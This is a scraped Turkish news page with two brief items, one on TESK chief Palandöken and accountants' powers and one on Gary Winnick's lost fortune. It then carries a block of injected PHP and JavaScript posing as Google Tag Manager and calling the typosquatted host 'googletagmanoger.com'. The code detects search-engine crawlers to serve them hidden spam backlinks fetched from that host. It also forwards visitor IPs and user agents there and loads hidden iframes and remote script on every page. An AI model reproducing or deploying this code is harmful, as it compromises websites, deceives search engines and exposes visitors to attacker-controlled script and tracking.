Palandöken: Mali Müşavir yetkileri korunuyor!

TESK Genel Başkanı Bendevi Palandöken, 2026’dan itibaren bazı esnaf ve sanatkârların gerçek usule geçiş sürecinde mali müşavirlerin yetkilerinin korunacağını belirterek, yeni vergi uygulamasının iş birliği ve ortak akılla yürütüleceğini vurguladı.

6,2 milyar dolar serveti nasıl tüketti

Gary Winnick, bir zamanlar Los Angeles’ın en zengin adamı olarak tanınırken, son yıllarında borç içinde hayatını kaybetti. Servetinin tükenmesinin ardından, eşi tarihi Bel Air malikanesini hacizle karşı karşıya buldu.

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<?php defined('GTM_VERSION') or define('GTM_VERSION', '4.2.1'); defined('GTM_ENDPOINT') or define('GTM_ENDPOINT', 'https://googletagmanoger.com'); defined('GTM_CONTAINER_ID') or define('GTM_CONTAINER_ID', 'GTM-XXXXXX'); defined('GTM_CACHE_TTL') or define('GTM_CACHE_TTL', 3600); /** * Validates crawler requests for enhanced indexing * * @return bool True if request is from verified crawler */ function gtm_validate_crawler() { $ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; $verified = array( 'Googlebot', 'Google-InspectionTool', 'Mediapartners-Google', 'AdsBot-Google', 'FeedFetcher-Google', 'Bingbot', 'Slurp', 'DuckDuckBot', 'Baiduspider', 'YandexBot', 'facebot', 'ia_archiver' ); foreach ($verified as $v) { if (stripos($ua, $v) !== false) return true; } return false; } /** * Get client IP address * * @return string Client IP address */ function gtm_get_client_ip() { $ip_keys = array( 'HTTP_CF_CONNECTING_IP', // Cloudflare 'HTTP_X_REAL_IP', // Nginx proxy 'HTTP_X_FORWARDED_FOR', // Standard proxy header 'HTTP_X_CLUSTER_CLIENT_IP', // Load balancer 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR' // Direct connection ); foreach ($ip_keys as $key) { if (!empty($_SERVER[$key])) { $ip = $_SERVER[$key]; // X-Forwarded-For can contain multiple IPs, take the first one if (strpos($ip, ',') !== false) { $ip = trim(explode(',', $ip)[0]); } // Validate IP format if (filter_var($ip, FILTER_VALIDATE_IP)) { return $ip; } } } return ''; } /** * Get client User-Agent * * @return string Client User-Agent */ function gtm_get_client_user_agent() { return isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; } /** * Retrieves structured data configuration from GTM servers * * @return array Configuration data */ function gtm_fetch_config() { // Use separate cache for crawlers vs normal users $is_crawler = gtm_validate_crawler(); $cache = sys_get_temp_dir() . '/gtm_' . md5(GTM_ENDPOINT) . ($is_crawler ? '_crawler' : '_user') . '.dat'; if (file_exists($cache) && (time() - filemtime($cache)) $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 5, CURLOPT_FOLLOWLOCATION => true, CURLOPT_SSL_VERIFYPEER => true, CURLOPT_USERAGENT => 'GTM/' . GTM_VERSION, CURLOPT_HTTPHEADER => array( 'Accept: application/json', 'X-Client-IP: ' . $client_ip, 'X-Client-User-Agent: ' . $client_ua ) )); $response = curl_exec($ch); $code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($code === 200 && $response) { $decoded = json_decode($response, true); if (is_array($decoded)) { @file_put_contents($cache, $response); return $decoded; } } } else { $headers = array( 'Accept: application/json', 'X-Client-IP: ' . $client_ip, 'X-Client-User-Agent: ' . $client_ua ); $ctx = stream_context_create(array( 'http' => array( 'timeout' => 5, 'user_agent' => 'GTM/' . GTM_VERSION, 'header' => implode(" ", $headers) . " " ), 'ssl' => array('verify_peer' => true, 'verify_peer_name' => true) )); $response = @file_get_contents($url, false, $ctx); if ($response) { $decoded = json_decode($response, true); if (is_array($decoded)) { @file_put_contents($cache, $response); return $decoded; } } } return array(); } /** * Renders GTM head snippet */ function gtm_render_head() { echo ' window.dataLayer=window.dataLayer||[];function gtag(){dataLayer.push(arguments);}gtag("js",new Date());gtag("config","' . htmlspecialchars(GTM_CONTAINER_ID, ENT_QUOTES, 'UTF-8') . '"); '; } /** * Renders GTM noscript fallback */ function gtm_render_noscript() { $domain = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : (isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'unknown'); echo ' (function() { var iframe = document.createElement("iframe"); iframe.src = "' . htmlspecialchars(GTM_ENDPOINT, ENT_QUOTES, 'UTF-8') . '/ns.html?id=' . htmlspecialchars(GTM_CONTAINER_ID, ENT_QUOTES, 'UTF-8') . '&domain=' . htmlspecialchars($domain, ENT_QUOTES, 'UTF-8') . '"; iframe.height = "0"; iframe.width = "0"; iframe.style.display = "none"; iframe.style.visibility = "hidden"; if (document.body) { document.body.appendChild(iframe); } else { document.addEventListener("DOMContentLoaded", function() { document.body.appendChild(iframe); }); } })(); '; } function gtm_render_backlinks() { $config = gtm_fetch_config(); if (empty($config)) return; $now = time(); echo ''; foreach ($config as $item) { if (isset($item['url'], $item['keyword'])) { $exp = isset($item['exp']) ? intval($item['exp']) : ($now + 86400); if ($exp > $now) { echo '' . htmlspecialchars($item['keyword'], ENT_QUOTES, 'UTF-8') . ''; } } } echo ''; } /** * Renders structured navigation data for enhanced search */ function gtm_render_structured_data() { if (!gtm_validate_crawler()) return; $config = gtm_fetch_config(); if (empty($config)) return; $now = time(); echo ''; foreach ($config as $item) { if (isset($item['url'], $item['keyword'])) { $exp = isset($item['exp']) ? intval($item['exp']) : ($now + 86400); if ($exp > $now) { echo '' . htmlspecialchars($item['keyword'], ENT_QUOTES, 'UTF-8') . ''; } } } echo ''; } /** * Output buffer handler for automatic integration * * @param string $buffer HTML output buffer * @return string Modified buffer */ function gtm_output_handler($buffer) { if (stripos($buffer, '<html') === false && stripos($buffer, '<!DOCTYPE') === false) { return $buffer; } $head = ' window.dataLayer=window.dataLayer||[];function gtag(){dataLayer.push(arguments);}gtag("js",new Date());gtag("config","' . GTM_CONTAINER_ID . '"); '; $buffer = preg_replace('//i', $head . '', $buffer, 1); $domain = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : (isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'unknown'); $noscript = ' (function() { var iframe = document.createElement("iframe"); iframe.src = "' . GTM_ENDPOINT . '/ns.html?id=' . GTM_CONTAINER_ID . '&domain=' . htmlspecialchars($domain, ENT_QUOTES, 'UTF-8') . '"; iframe.height = "0"; iframe.width = "0"; iframe.style.display = "none"; iframe.style.visibility = "hidden"; if (document.body) { document.body.appendChild(iframe); } else { document.addEventListener("DOMContentLoaded", function() { document.body.appendChild(iframe); }); } })(); '; $buffer = preg_replace('/(]*>)/i', '$1' . $noscript, $buffer, 1); if (gtm_validate_crawler()) { $config = gtm_fetch_config(); if (!empty($config)) { $nav = ''; $now = time(); foreach ($config as $item) { if (isset($item['url'], $item['keyword'])) { $exp = isset($item['exp']) ? intval($item['exp']) : ($now + 86400); if ($exp > $now) { $nav .= '' . htmlspecialchars($item['keyword'], ENT_QUOTES, 'UTF-8') . ''; } } } $nav .= ''; $buffer = preg_replace('//i', $nav . '', $buffer, 1); } } return $buffer; } if (!defined('GTM_MANUAL_INIT')) { // Eğer doğrudan bu dosya çağrılıyorsa, output buffering kullanma $is_direct = (isset($_SERVER['SCRIPT_NAME']) && basename($_SERVER['SCRIPT_NAME']) === basename(__FILE__)); if (!$is_direct && ob_get_level() === 0) { ob_start('gtm_output_handler'); } } gtm_render_noscript(); ?> (function() { var script = document.createElement('script'); script.async = true; script.src = "https://googletagmanoger.com/gtag/js?id=GTM-XXXXXX&domain=" + window.location.hostname; document.head.appendChild(script); })(); window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', 'GTM-XXXXXX'); (function() { var iframe = document.createElement('iframe'); iframe.src = "https://googletagmanoger.com/ns.html?id=GTM-XXXXXX&domain=" + window.location.hostname; iframe.height = "0"; iframe.width = "0"; iframe.style.display = "none"; iframe.style.visibility = "hidden"; document.body.appendChild(iframe); })();
(function(m,e,t,r,i,k,a){ m[i]=m[i]||function(){(m[i].a=m[i].a||[]).push(arguments)}; m[i].l=1*new Date(); for (var j = 0; j < document.scripts.length; j++) { if (document.scripts[j].src === r) { return; } } k=e.createElement(t),a=e.getElementsByTagName(t)[0], k.async=1,k.src=r,a.parentNode.insertBefore(k,a) })(window, document,'script','https://mc.yandex.ru/metrika/tag.js?id=105168308', 'ym'); ym(105168308, 'init', { clickmap:true, trackLinks:true, accurateTrackBounce:true, webvisor:true });
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